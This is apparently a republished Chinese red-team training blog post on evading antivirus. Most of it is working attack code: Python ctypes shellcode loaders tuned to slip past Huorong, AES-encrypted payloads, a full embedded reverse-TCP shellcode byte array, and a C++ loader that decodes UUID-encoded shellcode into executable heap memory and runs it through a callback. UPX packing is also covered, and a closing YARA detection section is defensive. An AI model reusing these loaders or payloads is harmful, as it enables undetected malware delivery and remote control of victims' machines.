前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队作业 | 实战免杀课程和实践

红队作业 | 实战免杀课程和实践

作者头像
Ms08067安全实验室
发布2022-04-06 21:50:42
1.6K0
发布2022-04-06 21:50:42
举报
文章被收录于专栏:Ms08067安全实验室

文章来源|MS08067 红队培训班 第5期

本文作者:thresh(红队培训班5期学员)

使用MSF生成不免杀马、shellcode,修改变成免杀马。

实现方式:

1、函数替换,使用各种Windows API中与内存相关的函数

2、shellcode、代码分离;加载器远程调用,远程代码执行

3、Shellcode编码、加密、代码混淆等

4、资源节加载shellcode

5、远程线程注入

6、堆加载

7、汇编注入

8、回调函数、UUID

9、加壳,kali中的upx、Virbox Protect

...

Python 加载器免杀分析

非免杀代码

这是不免杀的,使用如下代码进行测试,使用pyinstaller生成可执行的exe文件。pyinstaller生成exe文件过程不会校验代码是否可执行,所以可以通过注释的方式一行行测试具体是什么代码报毒。

Shellcode代码不会触发告警,代码中的 VirtualAlloc、RtlMoveMemory函数同时使用时会触发告警。

代码语言:javascript
复制
import ctypes

def exec_shellcode(shellcode):
    # shellcode = bytearray(shellcode)
    # ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    #buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                         buf,
                                         ctypes.c_int(len(shellcode)))
    # handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    #                                              ctypes.c_int(0),
    #                                              ctypes.c_uint64(ptr),
    #                                              ctypes.c_int(0),
    #                                              ctypes.c_int(0),
    #                                              ctypes.pointer(ctypes.c_int(0)))
    # ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
def main():
    buf =  b""
    shellcode = buf
    exec_shellcode(shellcode)
if __name__ == '__main__':
    main()

火绒扫描结果,根据函数调用与特性进行查杀

免杀代码

解决办法,将相关函数进行替换,这里将RtlMoveMemory替换成 RtlCopyMemory。

代码语言:javascript
复制
import ctypes

def exec_shellcode(shellcode):
    shellcode = bytearray(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlCopyMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

def main():
    buf =  b""
    shellcode = buf
    exec_shellcode(shellcode)
if __name__ == '__main__':
    main()

对生成的exe进行查杀

测试木马使用,上线成功。

Python Shellcode 加密

代码语言:javascript
复制
import ctypes

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os

# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
    if len(text) % 16:
        add = 16 - (len(text) % 16)
    else:
        add = 0
    text = text + (b'\0' * add)
    return text

# 加密函数
def AES_CBC_encrypt(text):
    key = b'9999999999999999'
    mode = AES.MODE_CBC
    iv = b'qqqqqqqqqqqqqqqq'
    text = add_to_16(text)
    cryptos = AES.new(key, mode, iv)
    cipher_text = cryptos.encrypt(text)
    # 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
    return b2a_hex(cipher_text)


# 解密,去掉补足的空格用strip() 去掉
def AES_CBC_decrypt(text):
    key = b'9999999999999999'
    iv = b'qqqqqqqqqqqqqqqq'
    mode = AES.MODE_CBC
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(a2b_hex(text))
    return bytes(plain_text).rstrip(b'\0')
# shellcode执行
def exec_shellcode(shellcode):
    shellcode = bytearray(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlCopyMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

def main():
    buf =  b""
    shellcode = buf
    # endata=AES_CBC_encrypt(shellcode)
    # print(endata)
    # dedata=AES_CBC_decrypt(endata)
    # print(dedata)
    exec_shellcode(shellcode)
if __name__ == '__main__':
    main()   

函数替换

代码语言:javascript
复制
import ctypes
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31"
buf += b"\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66"
buf += b"\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80"
buf += b"\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x44"
buf += b"\x8b\x40\x20\x50\x8b\x48\x18\x49\x01\xd0\xe3\x56\x48"
buf += b"\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9\x48\x01\xd6\x48"
buf += b"\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b"
buf += b"\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
buf += b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
buf += b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
buf += b"\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
buf += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0"
buf += b"\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1e\x61\xc0"
buf += b"\xa8\x50\x86\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba"
buf += b"\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00"
buf += b"\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41"
buf += b"\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48"
buf += b"\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2"
buf += b"\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0"
buf += b"\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48"
buf += b"\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
buf += b"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
buf += b"\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
buf += b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31"
buf += b"\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49"
buf += b"\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89"
buf += b"\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d"
buf += b"\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a"
buf += b"\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff"
buf += b"\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4"
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"
shellcode = buf

def Loader(shellcode):
    shellcode = bytearray(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlCopyMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

if __name__ == '__main__':
    Loader(shellcode=shellcode)

UUID

生成uuid

代码语言:javascript
复制
import uuid
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31"
buf += b"\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66"
buf += b"\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80"
buf += b"\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x44"
buf += b"\x8b\x40\x20\x50\x8b\x48\x18\x49\x01\xd0\xe3\x56\x48"
buf += b"\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9\x48\x01\xd6\x48"
buf += b"\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b"
buf += b"\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
buf += b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
buf += b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
buf += b"\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
buf += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0"
buf += b"\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1e\x61\xc0"
buf += b"\xa8\x50\x86\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba"
buf += b"\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00"
buf += b"\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41"
buf += b"\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48"
buf += b"\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2"
buf += b"\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0"
buf += b"\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48"
buf += b"\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
buf += b"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
buf += b"\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
buf += b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31"
buf += b"\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49"
buf += b"\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89"
buf += b"\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d"
buf += b"\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a"
buf += b"\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff"
buf += b"\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4"
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"
shellcode = buf
print(len(shellcode))
list = []
for i in range(32):
    bytes_a = shellcode[i * 16: 16 + i * 16]
    # 不够16位的需要补够16位,否则报错
    if len(bytes_a)<16:
        bytes_a+=b'\x00'*(16-len(bytes_a))
    b = uuid.UUID(bytes_le=bytes_a)
    list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
    f.write("const char* uuids[] ={")
    for UUID in list:
        f.write("\""+UUID+"\""+",")
    f.write("};")
print(list)

加载uuid代码,C++

代码语言:javascript
复制
#include<Windows.h>
#include<Rpc.h>
#include<iostream>
#pragma comment(lib,"Rpcrt4.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

using namespace std;
const char* uuids[] = { 
"e48348fc-e8f0-00cc-0000-415141505248","6551d231-8b48-6052-5648-8b5218488b52",
"728b4820-4d50-c931-480f-b74a4a4831c0","7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
"528b4852-4120-8b51-423c-4801d0668178","0f020b18-7285-0000-008b-808800000048",
"6774c085-0148-44d0-8b40-20508b481849","56e3d001-ff48-41c9-8b34-884d31c94801",
"c03148d6-41ac-c9c1-0d41-01c138e075f1","244c034c-4508-d139-75d8-58448b402449",
"4166d001-0c8b-4448-8b40-1c4901d0418b","01488804-41d0-4158-585e-595a41584159",
"83485a41-20ec-5241-ffe0-5841595a488b","ff4be912-ffff-495d-be77-73325f333200",
"49564100-e689-8148-eca0-0100004989e5","0002bc49-611e-a8c0-5086-41544989e44c",
"ba41f189-774c-0726-ffd5-4c89ea680101","41590000-29ba-6b80-00ff-d56a0a415e50",
"c9314d50-314d-48c0-ffc0-4889c248ffc0","41c18948-eaba-df0f-e0ff-d54889c76a10",
"894c5841-48e2-f989-41ba-99a57461ffd5","0a74c085-ff49-75ce-e5e8-930000004883",
"894810ec-4de2-c931-6a04-41584889f941","c8d902ba-ff5f-83d5-f800-7e554883c420",
"6af6895e-4140-6859-0010-000041584889","c93148f2-ba41-a458-53e5-ffd54889c349",
"314dc789-49c9-f089-4889-da4889f941ba","5fc8d902-d5ff-f883-007d-285841575968",
"00004000-5841-006a-5a41-ba0b2f0f30ff","415957d5-75ba-4d6e-61ff-d549ffcee93c",
"48ffffff-c301-2948-c648-85f675b441ff","006a58e7-4959-c2c7-f0b5-a256ffd50000", };

int main()
{
  HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
  void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
  if (ha == NULL)
  {
    cout << "内存申请失败!" << endl;
    return 0;
  }
  DWORD_PTR hptr = (DWORD_PTR)ha;
  int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
  for (int i = 0; i < elems; i++)
  {
    cout << (RPC_CSTR)uuids[i] << endl;
    cout << (UUID*)hptr << endl;
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
      if (status != RPC_S_OK)//判断是否写入正常
      {
        cout << "UuidFromeStringA()!=S_OK" << endl;
        CloseHandle(ha);
        return -1;
      }
    hptr += 16;
  }
  //((void(*)())ha)();
  EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
  CloseHandle(ha);
  return 0;
}

加壳(upx)

使用堆加载报毒文件进行加壳

命令:npx filename -k

加壳后,火绒不报毒

Python Yara恶意文件分析

yara是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具, yara规则基于字符串或者二进制模式信息创建恶意软件家族描述信息, yara的每一条描述和规则都是通过一系列字符串和一个布尔表达式构成,并阐述其逻辑。yara规则可以提交给文件或者在运行进程,以帮助研究人员识别其是否属于某个已知运行规则描述的恶意软件家族。

这里使用 python 调用 yara 进行恶意文件分析。

创建一个yara的文件目录

目录结构如下:

rules 规则编写如下:

字符串中的类型有三种:文本字符串、十六进制字符串、正则表达式。

文本字符串用来定义文件或进程内存中可读型内容;

十六进制字符串用来定义字节内容;

正则表达式可用在文本字符串和十六进制字符串中。

字符串中要匹配的即为恶意文件的特征。

分析上面python加载器生成的exe文件,其中有用到 VirtualAlloc、RtlCopyMemory、CreateThread 函数,把这几个函数信息提取出来作为规则。

规则文件如下:

代码语言:javascript
复制
rule shellmiansha {
  meta:
    author      = "Thresh https://github.com/thresh"
    date        = "2022/03/21"
    description = "shellcode"
  strings:
    $a = "alloc"     // alloc text
    $d = { 6D 65 6D 6F 72 79 }   // memory
    $c = { 43 72 65 61 74 65 54 68 72 65 61 64 }  // CreateThread
  condition:
    $a and $d and $c
  }

实例代码如下:

代码语言:javascript
复制
import yara
import os

# 获取目录内的yara规则文件
# 将yara规则编译
def getRules(path):
    filepath = {}
    for index, file in enumerate(os.listdir(path)):
        rupath = os.path.join(path, file)
        key = "rule" + str(index)
        filepath[key] = rupath
    yararule = yara.compile(filepaths=filepath)
    return yararule

# 扫描函数
def scan(rule, path):
    for file in os.listdir(path):
        fp = open(malpath +"\\"+file, 'rb')
        matches = rule.match(data=fp.read())
        if len(matches) > 0:
            print('[+]发现恶意文件[+]')
            print("文件名称:{}".format(file))
            print("匹配规则为:{}".format(matches))
if __name__ == '__main__':
    rulepath = os.path.join(os.getcwd(),"rules")   # yara规则目录
    malpath = os.path.join(os.getcwd(),"samples")  # simple目录,存放恶意文件
    # yara规则编译函数调用
    yararule = getRules(rulepath)
    # 扫描函数调用
    scan(yararule, malpath)

恶意文件:

运行如下:

参考链接:

yara官方API文档:

https://yara.readthedocs.io/en/stable/yarapython.html

yara安装与使用:

https://www.giantbranch.cn/2019/05/24/yara%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/

yara python运用:

https://blog.csdn.net/weixin_40596016/article/details/79865670

yara下载:

https://github.com/VirusTotal/yara/releases

yara 规则库:

https://github.com/Yara-Rules/rules

总结

通过学习免杀课程和实践,掌握了许多免杀的技巧。免杀是攻防对抗的过程,没有什么程序是一直免杀的,主要是绕过和实现免杀的思路。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档